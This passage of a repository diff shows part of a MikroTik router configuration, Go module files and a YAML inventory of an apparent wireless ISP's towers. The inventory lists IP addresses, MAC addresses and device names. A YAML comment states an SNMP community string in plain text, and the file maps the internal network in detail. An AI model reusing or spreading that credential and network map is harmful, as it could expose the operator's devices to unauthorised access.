add address=204.110.191.252 poll-interval=10s
|
||||||
|
/routing ospf network
|
||||||
|
add area=backbone
|
||||||
|
/routing ospf-v3 interface
|
||||||
|
add area=backbone
|
||||||
|
add area=backbone interface=sfp-sfpplus12-spectrum network-type=broadcast \
|
||||||
|
passive=yes
|
||||||
|
/routing rip
|
||||||
|
set distribute-default=always redistribute-connected=yes redistribute-ospf=\
|
||||||
|
yes
|
||||||
|
/routing rip interface
|
||||||
|
add interface=sfp-sfpplus11-preseem
|
||||||
|
add interface=sfp-sfpplus7-core-direct
|
||||||
|
add interface=sfp-sfpplus8-server-switch
|
||||||
|
/routing rip network
|
||||||
|
add
|
||||||
|
/snmp
|
||||||
|
set contact="Verona Networks" enabled=yes location="Verona Networks"
|
||||||
|
/system clock
|
||||||
|
set time-zone-name=America/Chicago
|
||||||
|
/system identity
|
||||||
|
set name=edge
|
||||||
|
/system logging
|
||||||
|
add action=logs topics=info
|
||||||
|
/system note
|
||||||
|
set note="__ __\
|
||||||
|
\n\\ \\ / /__ _ __ ___ _ __ __ _\
|
||||||
|
\n \\ \\ / / _ \\ '__/ _ \\| '_ \\ / _` |\
|
||||||
|
\n \\ V / __/ | | (_) | | | | (_| |\
|
||||||
|
\n \\_/ \\___|_| \\___/|_| |_|\\__,_|\
|
||||||
|
\n _ _ _ _\
|
||||||
|
\n| \\ | | ___| |___ _____ _ __| | _____\
|
||||||
|
\n| \\| |/ _ \\ __\\ \\ /\\ / / _ \\| '__| |/ / __|\
|
||||||
|
\n| |\\ | __/ |_ \\ V V / (_) | | | <\\__ \\\
|
||||||
|
\n|_| \\_|\\___|\\__| \\_/\\_/ \\___/|_| |_|\\_\\___/\
|
||||||
|
\n\
|
||||||
|
\n###############################################################\
|
||||||
|
\n# Welcome to Verona Networks #\
|
||||||
|
\n# All connections are monitored and recorded #\
|
||||||
|
\n# Disconnect IMMEDIATELY if you are not an authorized user! #\
|
||||||
|
\n###############################################################\
|
||||||
|
\n\
|
||||||
|
\n" show-at-login=no
|
||||||
|
/system ntp client
|
||||||
|
set enabled=yes primary-ntp=162.159.200.1 secondary-ntp=45.79.1.70
|
||||||
|
/system routerboard settings
|
||||||
|
set auto-upgrade=yes
|
||||||
|
/system scheduler
|
||||||
|
add name=reboot on-event="/system reboot\r\
|
||||||
|
\n" policy=\
|
||||||
|
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon \
|
||||||
|
start-date=jun/14/2023 start-time=03:00:00
|
||||||
|
add comment=RWB_IP_RESOLVER interval=5m name=RWB_IP_RESOLVER on-event=\
|
||||||
|
RWB_IP_RESOLVER policy=\
|
||||||
|
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon \
|
||||||
|
start-date=oct/13/2022 start-time=22:59:02
|
||||||
|
/tool graphing interface
|
||||||
|
add allow-address=204.110.188.0/22
|
||||||
|
/tool graphing queue
|
||||||
|
add allow-address=204.110.188.0/22
|
||||||
|
/tool graphing resource
|
||||||
|
add allow-address=204.110.188.0/22
|
||||||
|
/tool romon
|
||||||
|
set enabled=yes
|
||||||
|
/user aaa
|
||||||
|
set default-group=full
|
||||||
14
mikrotik-tool/go.mod
Normal file
14
mikrotik-tool/go.mod
Normal file
|
|
@ -0,0 +1,14 @@
|
||||||
|
module github.com/graham/network/mikrotik-tool
|
||||||
|
|
||||||
|
go 1.25.0
|
||||||
|
|
||||||
|
require (
|
||||||
|
github.com/go-routeros/routeros/v3 v3.0.1
|
||||||
|
golang.org/x/crypto v0.50.0
|
||||||
|
gopkg.in/yaml.v3 v3.0.1
|
||||||
|
)
|
||||||
|
|
||||||
|
require (
|
||||||
|
github.com/gosnmp/gosnmp v1.43.2 // indirect
|
||||||
|
golang.org/x/sys v0.43.0 // indirect
|
||||||
|
)
|
||||||
21
mikrotik-tool/go.sum
Normal file
21
mikrotik-tool/go.sum
Normal file
|
|
@ -0,0 +1,21 @@
|
||||||
|
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||||
|
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||||
|
github.com/go-routeros/routeros/v3 v3.0.1 h1:FdNKlF6Hst8nkHr0dIvD54pQ+dZ8sHOJfQSVRKz0BFg=
|
||||||
|
github.com/go-routeros/routeros/v3 v3.0.1/go.mod h1:j4mq65czXfKtHsdLkgVv8w7sNzyhLZy1TKi2zQDMpiQ=
|
||||||
|
github.com/gosnmp/gosnmp v1.43.2 h1:F9loz6uMCNtIQj0RNO5wz/mZ+FZt2WyNKJYOvw+Zosw=
|
||||||
|
github.com/gosnmp/gosnmp v1.43.2/go.mod h1:smHIwoaqr1M+HTAEd7+mKkPs8lp3Lf/U+htPUql1Q3c=
|
||||||
|
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||||
|
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||||
|
github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=
|
||||||
|
github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
|
||||||
|
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
|
||||||
|
golang.org/x/crypto v0.50.0 h1:zO47/JPrL6vsNkINmLoo/PH1gcxpls50DNogFvB5ZGI=
|
||||||
|
golang.org/x/crypto v0.50.0/go.mod h1:3muZ7vA7PBCE6xgPX7nkzzjiUq87kRItoJQM1Yo8S+Q=
|
||||||
|
golang.org/x/sys v0.43.0 h1:Rlag2XtaFTxp19wS8MXlJwTvoh8ArU6ezoyFsMyCTNI=
|
||||||
|
golang.org/x/sys v0.43.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
|
||||||
|
golang.org/x/term v0.42.0 h1:UiKe+zDFmJobeJ5ggPwOshJIVt6/Ft0rcfrXZDLWAWY=
|
||||||
|
golang.org/x/term v0.42.0/go.mod h1:Dq/D+snpsbazcBG5+F9Q1n2rXV8Ma+71xEjTRufARgY=
|
||||||
|
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
|
||||||
|
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||||
|
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||||
|
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||||
1133
mikrotik-tool/inventory.go
Normal file
1133
mikrotik-tool/inventory.go
Normal file
File diff suppressed because it is too large
Load diff
329
mikrotik-tool/inventory.yaml
Normal file
329
mikrotik-tool/inventory.yaml
Normal file
|
|
@ -0,0 +1,329 @@
|
||||||
|
# Wireless devices and customer subnet info per tower:
|
||||||
|
# - access_points: customer-facing APs in the top /24 of the router's
|
||||||
|
# 10.10.x.0/20 mgmt subnet (per /Users/graham/dev/network/CLAUDE.md:
|
||||||
|
# "for subnet X.Y.Z.0/20, APs are in X.Y.(Z+15).0/24").
|
||||||
|
# - backhaul_radios: tower-to-tower link radios with a managed IP in
|
||||||
|
# the link's 10.250.1.x/29 subnet. Site assignment uses the
|
||||||
|
# "closest IP to this site's router IP" rule.
|
||||||
|
# - cgnat_subnet: the customer CGNAT (RFC 6598) /20 or /22 the router
|
||||||
|
# hands to PPPoE clients, with the router's gateway IP.
|
||||||
|
#
|
||||||
|
# Names are the actual SNMP `sysName.0` (1.3.6.1.2.1.1.5.0) values
|
||||||
|
# pulled with the `kdyyJrT0Mm` community. Most radios only respond to
|
||||||
|
# SNMP v1; some also accept v2c. Casing/spacing is preserved as-is from
|
||||||
|
# the radio (e.g. "Climax NW" has two spaces, "lowry nw" is lowercase
|
||||||
|
# — that's the actual configured hostname on the device).
|
||||||
|
#
|
||||||
|
# Last refreshed: 2026-05-07.
|
||||||
|
sites:
|
||||||
|
verona:
|
||||||
|
router: 10.254.254.101
|
||||||
|
mgmt_subnet: 10.10.0.0/20
|
||||||
|
cgnat_subnets:
|
||||||
|
- {subnet: 100.64.0.0/22, gateway: 100.64.3.254}
|
||||||
|
- {subnet: 100.64.12.0/22, gateway: 100.64.15.254}
|
||||||
|
- {subnet: 100.64.0.10/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.16/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.17/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.18/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.23/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.11/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.26/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.22/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.21/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.48/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.34/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.20/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.25/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.40/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.41/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.27/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.39/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.14/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.42/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.32/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.29/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.30/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.44/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.24/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.7/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.15/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.6/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.37/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.31/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.45/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.53/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.28/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.12/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.56/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.51/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.35/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.8/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.5/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.13/32, gateway: 100.64.15.253}
|
||||||
|
access_points:
|
||||||
|
- {ip: 10.10.15.1, mac: "70:A7:41:4C:A2:E7", name: "Verona 5AC Horn W"}
|
||||||
|
- {ip: 10.10.15.2, mac: "AC:8B:A9:C4:4C:F0", name: "Verona 5AC Horn NW"}
|
||||||
|
- {ip: 10.10.15.11, mac: "78:45:58:A2:EC:E4", name: "Verona NW"}
|
||||||
|
- {ip: 10.10.15.12, mac: "78:45:58:A2:EC:6F", name: "Verona NE"}
|
||||||
|
- {ip: 10.10.15.13, mac: "70:A7:41:4C:D5:16", name: "Verona S"}
|
||||||
|
backhaul_radios:
|
||||||
|
- {ip: 10.250.1.26, mac: "7A:8A:20:5F:48:AA", name: "verona to climax", link: "verona<->climax AF11"}
|
||||||
|
switches:
|
||||||
|
- {ip: 10.0.101.10, mac: "C4:AD:34:1A:CA:AF", name: "Verona Server Switch", model: "MikroTik"}
|
||||||
|
- {ip: 100.64.15.251, mac: "EC:13:B2:64:32:4A", name: "Verona Netonix", model: "Netonix"}
|
||||||
|
altoga:
|
||||||
|
parent_router: 10.254.254.101
|
||||||
|
mgmt_subnet: 10.10.80.0/20
|
||||||
|
access_points:
|
||||||
|
- {ip: 10.10.95.20, mac: "04:18:D6:4C:BD:D3", name: "Altoga SW"}
|
||||||
|
- {ip: 10.10.95.21, mac: "AC:8B:A9:C4:57:5F", name: "Altoga East"}
|
||||||
|
- {ip: 10.10.95.22, mac: "70:A7:41:4C:A3:84", name: "Altoga North"}
|
||||||
|
climax:
|
||||||
|
router: 10.254.254.102
|
||||||
|
mgmt_subnet: 10.10.16.0/20
|
||||||
|
cgnat_subnets:
|
||||||
|
- {subnet: 100.64.4.0/22, gateway: 100.64.7.254}
|
||||||
|
- {subnet: 100.64.7.234/32, gateway: 100.64.7.235}
|
||||||
|
- {subnet: 100.64.7.206/32, gateway: 100.64.7.207}
|
||||||
|
- {subnet: 100.64.7.200/32, gateway: 100.64.7.188}
|
||||||
|
- {subnet: 100.64.7.95/32, gateway: 100.64.7.219}
|
||||||
|
- {subnet: 100.64.7.39/32, gateway: 100.64.7.27}
|
||||||
|
- {subnet: 100.64.7.51/32, gateway: 100.64.7.29}
|
||||||
|
- {subnet: 100.64.7.52/32, gateway: 100.64.7.217}
|
||||||
|
- {subnet: 100.64.7.53/32, gateway: 100.64.7.212}
|
||||||
|
- {subnet: 100.64.7.54/32, gateway: 100.64.7.76}
|
||||||
|
- {subnet: 100.64.7.93/32, gateway: 100.64.7.7}
|
||||||
|
- {subnet: 100.64.7.204/32, gateway: 100.64.7.115}
|
||||||
|
- {subnet: 100.64.7.48/32, gateway: 100.64.7.9}
|
||||||
|
- {subnet: 100.64.7.59/32, gateway: 100.64.7.41}
|
||||||
|
- {subnet: 100.64.7.63/32, gateway: 100.64.7.49}
|
||||||
|
- {subnet: 100.64.7.169/32, gateway: 100.64.7.97}
|
||||||
|
- {subnet: 100.64.7.223/32, gateway: 100.64.7.30}
|
||||||
|
- {subnet: 100.64.7.227/32, gateway: 100.64.7.46}
|
||||||
|
- {subnet: 100.64.7.247/32, gateway: 100.64.7.2}
|
||||||
|
- {subnet: 100.64.7.244/32, gateway: 100.64.7.13}
|
||||||
|
- {subnet: 100.64.7.144/32, gateway: 100.64.7.25}
|
||||||
|
- {subnet: 100.64.7.198/32, gateway: 100.64.7.16}
|
||||||
|
- {subnet: 100.64.4.1/32, gateway: 100.64.7.186}
|
||||||
|
- {subnet: 100.64.7.90/32, gateway: 100.64.7.12}
|
||||||
|
- {subnet: 100.64.7.133/32, gateway: 100.64.7.8}
|
||||||
|
- {subnet: 100.64.7.145/32, gateway: 100.64.7.14}
|
||||||
|
- {subnet: 100.64.7.62/32, gateway: 100.64.7.3}
|
||||||
|
- {subnet: 100.64.7.184/32, gateway: 100.64.7.10}
|
||||||
|
- {subnet: 100.64.7.21/32, gateway: 100.64.7.36}
|
||||||
|
- {subnet: 100.64.7.250/32, gateway: 100.64.7.5}
|
||||||
|
- {subnet: 100.64.7.55/32, gateway: 100.64.7.1}
|
||||||
|
- {subnet: 100.64.7.249/32, gateway: 100.64.7.4}
|
||||||
|
access_points:
|
||||||
|
- {ip: 10.10.31.11, mac: "F4:92:BF:BE:73:CD", name: "Climax NW"}
|
||||||
|
- {ip: 10.10.31.12, mac: "00:27:22:28:5F:A1", name: "Climax 5.8n NE"}
|
||||||
|
- {ip: 10.10.31.13, mac: "80:2A:A8:FC:1D:AE", name: "Climax South"}
|
||||||
|
- {ip: 10.10.31.30, mac: "00:04:56:D5:03:74", name: "Climax NW"}
|
||||||
|
- {ip: 10.10.31.31, mac: "00:04:56:23:DD:02", name: "climax ne"}
|
||||||
|
- {ip: 10.10.31.40, mac: "00:27:22:02:C6:3D", name: "PR 900E"}
|
||||||
|
backhaul_radios:
|
||||||
|
- {ip: 10.250.1.29, mac: "1A:E8:29:1E:52:16", name: "climax to verona", link: "verona<->climax AF11"}
|
||||||
|
- {ip: 10.250.1.93, mac: "82:2A:A8:CF:A6:6A", name: "Climax-380 AF24", link: "climax<->core AF24"}
|
||||||
|
culleoka:
|
||||||
|
router: 10.254.254.104
|
||||||
|
mgmt_subnet: 10.10.96.0/20
|
||||||
|
cgnat_subnets:
|
||||||
|
- {subnet: 100.64.24.0/22, gateway: 100.64.27.254}
|
||||||
|
- {subnet: 100.64.25.6/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.7/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.9/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.11/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.12/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.13/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.14/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.15/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.17/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.18/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.19/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.28/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.49/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.3/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.29/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.31/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.42/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.61/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.16/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.20/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.47/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.36/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.33/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.46/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.53/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.32/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.26/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.48/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.25/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.24/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.10/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.30/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.43/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.45/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.21/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.27/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.22/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.96.0/20, gateway: 100.64.111.254}
|
||||||
|
access_points:
|
||||||
|
- {ip: 10.10.111.1, mac: "78:45:58:A0:03:F3", name: "Culleoka SW AC-1"}
|
||||||
|
- {ip: 10.10.111.2, mac: "78:45:58:A0:03:FC", name: "Culleoka SW AC2"}
|
||||||
|
- {ip: 10.10.111.11, mac: "78:45:58:A2:EC:F9", name: "Culleoka SE"}
|
||||||
|
- {ip: 10.10.111.12, mac: "78:45:58:A2:A9:0A", name: "Culleoka sw 120"}
|
||||||
|
- {ip: 10.10.111.14, mac: "44:D9:E7:A8:58:C9", name: "Culleoka North UBNT"}
|
||||||
|
- {ip: 10.10.111.30, mac: "00:04:56:D7:AD:0A", name: "culleoka epmp N"}
|
||||||
|
- {ip: 10.10.111.31, mac: "00:04:56:D7:A9:56", name: "Culleoka ePMP SE"}
|
||||||
|
- {ip: 10.10.111.32, mac: "00:04:56:D7:A9:86", name: "Culleoka ePMP SW"}
|
||||||
|
- {ip: 10.10.111.33, mac: "58:C1:7A:73:BF:9E", name: "Culleoka NE"}
|
||||||
|
- {ip: 10.10.111.34, mac: "58:C1:7A:71:C5:25", name: "Culleoka ePMP SE"}
|
||||||
|
- {ip: 10.10.111.35, mac: "58:C1:7A:75:46:6E", name: "Culleoka ePMP NW"}
|
||||||
|
- {ip: 10.10.111.50, mac: "DC:9F:DB:6E:A6:24", name: "Clayton Estates AP "}
|
||||||
|
- {ip: 10.10.111.60, mac: "44:D9:E7:5A:A8:0E", name: "clayton to culleoka"}
|
||||||
|
- {ip: 10.10.111.61, mac: "78:8A:20:EC:76:DC", name: "culleoka to clayton"}
|
||||||
|
backhaul_radios:
|
||||||
|
- {ip: 10.250.1.10, mac: "7A:8A:20:5F:49:7A", name: null, link: "climax<->culleoka AF11 (disabled)"}
|
||||||
|
- {ip: 10.250.1.50, mac: "1A:E8:29:1E:B1:EA", name: "Culleoka to 380 11g", link: "culleoka<->core AF11"}
|
||||||
|
switches:
|
||||||
|
- {ip: 100.64.27.250, mac: "EC:13:B2:A4:05:CA", name: "Culleoka Switch", model: "Netonix WS-26-400-AC"}
|
||||||
|
newhope:
|
||||||
|
router: 10.254.254.108
|
||||||
|
mgmt_subnet: 10.10.128.0/20
|
||||||
|
cgnat_subnets:
|
||||||
|
- {subnet: 100.64.16.0/22, gateway: 100.64.19.254}
|
||||||
|
- {subnet: 100.64.19.20/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.19/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.18/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.17/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.16/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.15/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.13/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.12/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.9/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.8/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.7/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.6/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.5/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.3/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.10/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.14/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.11/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.2/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.4/32, gateway: 100.64.19.253}
|
||||||
|
access_points:
|
||||||
|
- {ip: 10.10.143.11, mac: "58:C1:7A:73:5B:7E", name: "New Hope SE"}
|
||||||
|
- {ip: 10.10.143.12, mac: "00:04:56:21:E7:B8", name: "New Hope NE"}
|
||||||
|
- {ip: 10.10.143.13, mac: "58:C1:7A:73:5B:EA", name: "new hope nw"}
|
||||||
|
- {ip: 10.10.143.14, mac: "58:C1:7A:73:5C:9E", name: "new hope sw"}
|
||||||
|
backhaul_radios:
|
||||||
|
- {ip: 10.250.1.58, mac: "7A:8A:20:5F:49:EB", name: "New Hope to Core af11x", link: "newhope<->core AF11"}
|
||||||
|
- {ip: 10.250.1.109, mac: "82:2A:A8:CF:58:E0", name: "new hope to lowry crossing", link: "lowry<->newhope AF24"}
|
||||||
|
switches:
|
||||||
|
- {ip: 100.64.19.252, mac: "DC:2C:6E:B4:77:17", name: "New Hope Switch", model: "MikroTik"}
|
||||||
|
lowry:
|
||||||
|
router: 10.254.254.109
|
||||||
|
mgmt_subnet: 10.10.144.0/20
|
||||||
|
cgnat_subnets:
|
||||||
|
- {subnet: 100.64.144.0/20, gateway: 100.64.159.254}
|
||||||
|
- {subnet: 100.64.158.80/32, gateway: 100.64.159.254}
|
||||||
|
- {subnet: 100.64.158.78/32, gateway: 100.64.159.254}
|
||||||
|
- {subnet: 100.64.158.74/32, gateway: 100.64.159.254}
|
||||||
|
- {subnet: 100.64.158.70/32, gateway: 100.64.159.254}
|
||||||
|
- {subnet: 100.64.158.77/32, gateway: 100.64.159.254}
|
||||||
|
- {subnet: 100.64.158.69/32, gateway: 100.64.159.254}
|
||||||
|
- {subnet: 100.64.158.84/32, gateway: 100.64.159.254}
|
||||||
|
- {subnet: 100.64.158.79/32, gateway: 100.64.159.254}
|
||||||
|
- {subnet: 100.64.158.75/32, gateway: 100.64.159.254}
|
||||||
|
- {subnet: 100.64.158.73/32, gateway: 100.64.159.254}
|
||||||
|
- {subnet: 100.64.158.82/32, gateway: 100.64.159.254}
|
||||||
|
- {subnet: 100.64.158.81/32, gateway: 100.64.159.254}
|
||||||
|
- {subnet: 100.64.158.72/32, gateway: 100.64.159.254}
|
||||||
|
- {subnet: 100.64.158.76/32, gateway: 100.64.159.254}
|
||||||
|
- {subnet: 100.64.158.83/32, gateway: 100.64.159.254}
|
||||||
|
- {subnet: 100.64.158.71/32, gateway: 100.64.159.254}
|
||||||
|
access_points:
|
||||||
|
- {ip: 10.10.159.10, mac: "00:04:56:D7:62:F6", name: "Lowry_Crossing_Omni"}
|
||||||
|
- {ip: 10.10.159.11, mac: "00:04:56:C4:FE:9E", name: "Lowry Crossing NE"}
|
||||||
|
- {ip: 10.10.159.12, mac: "58:C1:7A:71:A7:A9", name: "Lowry Crossing N"}
|
||||||
|
- {ip: 10.10.159.13, mac: "58:C1:7A:75:4D:66", name: "lowry nw"}
|
||||||
|
backhaul_radios:
|
||||||
|
- {ip: 10.250.1.106, mac: "82:2A:A8:CF:B4:5F", name: "Lowry Crossing to New Hope", link: "lowry<->newhope AF24"}
|
||||||
|
"982":
|
||||||
|
router: 10.254.254.110
|
||||||
|
mgmt_subnet: 10.10.48.0/20
|
||||||
|
cgnat_subnets:
|
||||||
|
- {subnet: 100.64.48.0/20, gateway: 100.64.63.254}
|
||||||
|
- {subnet: 100.64.62.180/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.199/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.191/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.194/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.188/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.184/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.181/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.177/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.189/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.186/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.185/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.190/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.187/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.197/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.193/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.198/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.195/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.183/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.196/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.179/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.178/32, gateway: 100.64.63.253}
|
||||||
|
access_points:
|
||||||
|
- {ip: 10.10.63.1, mac: "D0:21:F9:F0:F5:23", name: "982-1"}
|
||||||
|
- {ip: 10.10.63.2, mac: "F4:92:BF:2F:29:7E", name: "982-2"}
|
||||||
|
- {ip: 10.10.63.3, mac: "F4:92:BF:2F:29:93", name: "982-3"}
|
||||||
|
- {ip: 10.10.63.4, mac: "F4:92:BF:2F:29:8F", name: "982-4"}
|
||||||
|
- {ip: 10.10.63.5, mac: "F4:92:BF:2F:1C:0D", name: "982-5"}
|
||||||
|
- {ip: 10.10.63.6, mac: "F4:92:BF:2F:08:38", name: "982-6"}
|
||||||
|
backhaul_radios:
|
||||||
|
- {ip: 10.250.1.34, mac: "68:D7:9A:A2:03:95", name: "982_380_60 LR", link: "982<->core 60GHz"}
|
||||||
|
"494":
|
||||||
|
router: 10.254.254.111
|
||||||
|
mgmt_subnet: 10.10.160.0/20
|
||||||
|
cgnat_subnets:
|
||||||
|
